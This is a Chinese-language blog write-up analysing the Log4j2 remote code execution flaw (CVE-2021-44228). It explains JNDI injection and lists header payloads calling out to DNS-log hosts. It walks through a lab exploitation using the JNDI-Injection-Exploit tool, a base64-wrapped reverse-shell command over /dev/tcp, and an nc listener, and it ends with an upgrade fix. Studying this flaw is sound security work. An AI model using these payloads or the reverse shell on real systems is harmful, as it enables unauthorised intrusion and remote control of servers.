log4j漏洞分析及总结
2021年12月8号爆出的log4j2的远程代码执行漏洞【cve-2021-44228】,堪称史诗级核弹漏洞,虽然过了这么久,大部分现网中的相关漏洞已经修复,但任然可以捡漏…,网上也有不少大佬和研究机构都对该漏洞做了分析和复盘,年前年后比较忙,一直没有好好的分析总结该漏洞,最近学习下刚好补上。
漏洞描述及影响
log4j是Apache的一个开源项目,是一个基于Java的日志记录框架。Log4j2是log4j的后继者,被大量用于业务系统开发,记录日志信息。很多互联网公司以及耳熟能详的公司的系统都在使用该框架。Apache Log4j2 组件在开启了日志记录功能后,凡是在可触发错误记录日志的地方,插入漏洞利用代码,即可利用成功。特殊情况下,若该组件记录的日志包含其他系统的记录日志,则有可能造成间接投毒。通过中间系统,使得组件间接读取了具有攻击性的漏洞利用代码,亦可间接造成漏洞触发。
同时该漏洞还影响很多全球使用量的Top序列的通用开源组件,例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等
用户认证:不需要用户认证触发方式:远程配置方式:默认利用条件:需要外网访问权限影响版本:2.0 ≤ Apache Log4j2 < 2.15.0-rc2利用难度:极低,无需授权即可远程代码执行威胁等级:严重,能造成远程代码执行综合评估漏洞利用难度极低,利用要求较少,影响范围很大,危害极其严重,且已经被黑客公开利用持续全网扫描,根据部里要求,需要紧急修复。
漏洞分析
该漏洞的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。这里面有一个关键点就是,什么是JNDI,为什么JNDI可以造成RCE
【Java JNDI使用详解】 https://blog.csdn.net/qinwuxian19891211/article/details/108969927,这篇文章中很好的介绍了什么是JNDI,这里摘抄文章中的重点的部分,以作说明,
JNDI(Java Naming and Directory Interface–Java命名和目录接口)是Java中为命名和目录服务提供接口的API,通过名字可知道,JNDI主要由两部分组成:Naming(命名)和Directory(目录),其中Naming是指将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象,而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中,同时可通过名字获取对象的属性同时操作属性。
JNDI主要由JNDI API和JNDI SPI两部分组成,Java应用程序通过JNDI API访问目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI去操作命名或目录服务其如LDAP, DNS,RMI等,JNDI内部已实现了对LDAP,DNS, RMI等目录服务器的操作API。
这里面有个很重要的点,java应用程序中可以调用JNDI协议访问远程服务,其底层包含了RMI、LDAP、DNS等协议的调用,说明白点,就是可以通过JNDI访问远程的相关目录服务,本次爆发的攻击payload都是通过jndi调用了远程的恶意class,然后本地反序列化执行。和以前的fastjson攻击的手法差不多,这里面涉及到jndi注入和java反序列化漏洞的相关知识,可以作为一个单独的文章来说明,这里只将和log4j本次漏洞相关的。详细的,可以参考网上的一篇文章,【深入理解JNDI注入与Java反序列化漏洞利用】
首先我们看一下,收集到的log4j payload:
X-Client-IP: ${jndi:ldap://1644763261510dpicz.zdl7qs.ceye.io/VXBQo}
X-Remote-IP: ${jndi:ldap://1644763261510jnabe.zdl7qs.ceye.io/vl}
X-Remote-Addr: ${jndi:ldap://1644763261510xplnj.zdl7qs.ceye.io/hTE}
X-Forwarded-For: ${jndi:ldap://1644763261510lbnhl.zdl7qs.ceye.io/hvgsw}
X-Originating-IP: ${jndi:ldap://1644763261510pbhdy.zdl7qs.ceye.io/LxrC}
True-Client-IP: ${jndi:rmi://1644763261510jjchm.zdl7qs.ceye.io/FrfXm}
Originating-IP: ${jndi:rmi://1644763261510jctho.zdl7qs.ceye.io/vbP}
X-Real-IP: ${jndi:rmi://1644763261510fyvxt.zdl7qs.ceye.io/fWmjt}
Client-IP: ${jndi:rmi://1644763261510nfaoa.zdl7qs.ceye.io/mS}
X-Api-Version: ${jndi:rmi://1644763261510daeem.zdl7qs.ceye.io/IdJ}
Sec-Ch-Ua: ${jndi:dns://1644763261510wjiit.zdl7qs.ceye.io/IX}
Sec-Ch-Ua-Platform: ${jndi:dns://1644763261510dacbb.zdl7qs.ceye.io/ftA}
Sec-Fetch-Site: ${jndi:dns://1644763261510rypwe.zdl7qs.ceye.io/asWuD}
Sec-Fetch-Mode: ${jndi:dns://1644763261510osrig.zdl7qs.ceye.io/zc}
Sec-Fetch-User: ${jndi:dns://1644763261510uvfsl.zdl7qs.ceye.io/oNpOs}
Sec-Fetch-Dest: ${jndi:dns://1644763261510ptqen.zdl7qs.ceye.io/fGwFl}
以及一些变形的payload:
这些payload的形式大多类似与这样:
${jndi:ldap://xxxx.com.cn}
,我们可以看看直接在代码中利用log4j输出以上字符串,到底会发生什么,上代码:
//首先在pom文件中,引入含有漏洞的log4j包,pom文件<dependencies><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.0</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.0</version></dependency></dependencies>// 直接在代码中输出含有ldap的dnslog的查询,
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j11Test {private static Logger logger = LogManager.getLogger("Log4jDemoApplication");public static void main(String[] args) {logger.error("${jndi:ldap://log4j.voxxaq.dnslog.cn}");}
}
运行以上代码,观察到dnslog上有反查记录,说明应用程序lookup了log4j.voxxaq.dnslog.cn这个域名,留下了查找记录
既然能远程访问,那返回的又是什么呢,有没有可能加载远程服务器上的恶意类呢?答案是肯定的,我们只需要构建一个ldap或rmi远程服务即可,让远程服务器返回恶意class,如图
验证
按照以上的思路,首先要在远程服务器上准备ldap或rmi服务,这里我们利用现成的工具,【JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar】,github上已有大神准备好了,这个jar包的作用是在服务器上开启ldap和rmi服务,并且可以自定义要执行的代码。命令执行格式如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "payload" -A "serverip"
A参数为远程服务器的IP,我们只需要关注payload,将他变为要执行的代码即可。这里我们直接反弹一个shell,payload为
bash -i >& /dev/tcp/serverip/port 0>&1,因为其中含有&等特需符号,为防止执行不成功,换一种写法,变形为,bash -c {echo,base64_encoded_payload}|{base64,-d}|{bash,-i}
,本质上和前面是一样的,只不过是将前面的payload先base64编码后再解码。
执行后,输出如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WuxiAheR-1644768636746)(vx_images/87154923231691.png)]
以上分别在1099端口和1389端口,开启了rmi,ldap的监听服务,等待jndi的连接。同时我们也再9999端口,开启一个反弹监听端口,等待反弹shell上线。
nc -lvvp 9999
这里,我们直接用本地搭建漏洞环境,也可以用volfocus上的在线靶场环境。启动本地含有漏洞的spring boot的服务,如图:
以上环境在request header 中X-Api-Version 中存在log4j2的漏洞,直接在postman中发送请求:
观察远程服务端:
再观察反弹的9999端口:
以上可以看到反弹shell,成功上线。
修复
从前面的分析验证可以看出,该漏洞可直接加载远程代码,反弹shell,危害巨大。需将log4j2的jar包升级为2.17-rc2及以上
log4j漏洞分析及总结相关推荐
- RMI、JNDI、LDAP介绍+log4j漏洞分析
介绍 本篇主要介绍java的RMI.JNDI.LDAP,在后面会详细分析log4j的jndi注入原理. 什么是RMI RMI全称是Remote Method Invocatioon,也就是远程方法调用 ...
- log4j漏洞原理分析复现检测复盘
凡事要自发,自然而为,即要顺从一切处于自然状态的事物,允许它们自发地转变.这样,道即达到了一种"无为而无不为"的状态.在日常生活中,道表现为"不自傲"或&quo ...
- 如何跟踪log4j漏洞原理及发现绕WAF的tips
log4j漏洞的形成原因已经有很多分析文章了,这里说一说我是如何在了解到有漏洞后,跟进漏洞产生原理的,以及发现的一些绕WAF tips 跟进漏洞产生原因的思路 如何发现漏洞产生原因的 了解到log4j ...
- 美国国土安全部:Log4j 漏洞的影响将持续十年或更久
聚焦源代码安全,网罗国内外最新资讯! 作者:Jessica Lyons Hardcastle 编译:代码卫士 专栏·供应链安全 数字化时代,软件无处不在.软件如同社会中的"虚拟人" ...
- 涉及 GitHub、GitLab,研究人员发现 70 个 Web 缓存中毒漏洞;微软:许多攻击者仍对 Log4j 漏洞加以利用;VS 2022 新版发布 | 开源日报
开源吞噬世界的趋势下,借助开源软件,基于开源协议,任何人都可以得到项目的源代码,加以学习.修改,甚至是重新分发.关注「开源日报」,一文速览国内外今日的开源大事件吧! 一分钟速览新闻点! 微软:许多攻击 ...
- 网安大事件丨Fortinet对Apache Log4j漏洞利用的全面复盘与防御
起底Apache Log4j漏洞: 如何出现.如何被利用与如何防御 受影响平台: 任何使用Log4j2漏洞版本的应用程序和服务 受影响用户: 任何使用Log4j的具备该漏洞版本的组织 影响: 远程攻击 ...
- Elasticsearch Log4j漏洞快速修复步骤
Elasticsearch Log4j漏洞快速修复步骤 原创2021-12-14 21:27·walkingcloud 一.Elasticsearch关于Log4j2漏洞的官方说明 可以参考如下链接 ...
- 使用电磁辐射可获取恶意软件信息、微软称Log4j漏洞攻击水平仍然很高|1月5日全球网络安全热点
安全资讯报告 使用电磁辐射可获取恶意软件信息 研究人员开发了一种独特的策略,该策略使用来自物联网(IoT)设备的电磁场发射作为旁路,以获取有关针对嵌入式系统的多种类型恶意软件的准确信息,即使使用混淆策 ...
- log4j2漏洞分析
log4j2漏洞分析 环境布置 前言 漏洞分析 调用栈 一些前置知识 入口函数 LoggerConfig.processLogEvent() AppenderControl.callAppender ...
最新文章
- 如何只使用预训练模型的卷积层
- linux下防火墙iptables原理及使用
- 将Linux下编译的warning警告信息输出到文件中
- php 添加cdata,PHP cdata 处理 PHP cdata 处理(仔细讲解)
- 如何动态的修改隐藏域,让它实现添加,又可以实现修改操作
- 并查集--Java实现
- 模拟生成随机四位GB2312的汉字验证码(python3.X)
- 谷歌退出中国市场传言推动百度股价大涨4.8%【转载】
- json格式校验(json格式校验器)
- 转载:声优 - 野上ゆかな
- 线段树--暴力修改专题浅谈
- TRC格列卫(甲磺酸伊马替尼)病毒-宿主融合抑制剂方案
- 7kyu Jaden Casing Strings
- mfc中插入PNG透明图片
- 判断NSString是否含有某字符rangeOfString
- AWS强烈反击Elastic,欲打造自己的Elasticsearch开源产品OpenSearch
- 【Unity3D日常BUG记录】Unity打包运行出现:PlatformNotSupportedException该平台不支持此操作的解决记录
- Python之生成器详解
- hbase2.x HBCK Report Region Holes Overlaps问题修复
- 升级bigsur_升级macOS Big Sur遇到问题?问题修复合集不可错过
热门文章
- Office 2008 for Macintosh: The Missing Manual
- 练习2-4:重新编写函数squeeze(s1,s2),将字符串s1中的任何字符与字符串时s2中的字符匹配的字符都删除
- 为什么是百度先造出了“知识型网红”
- Unity Manual阅读记录——Animation(version 2019.4)
- 五子棋(C++面向对象实现)
- 步步「动」心,人-机器人渐进式交互研究——百度人工智能交互设计院
- [PAT A1044]Shopping in Mars
- 李峋同款爱心代码-电视剧《点燃我温暖你》
- 【原创】VBA学习笔记(303)VBA 要善用各种VBE 代码窗口 自带的帮助系统
- /动态设置element DatePicker日期组件的disabledDate禁选日期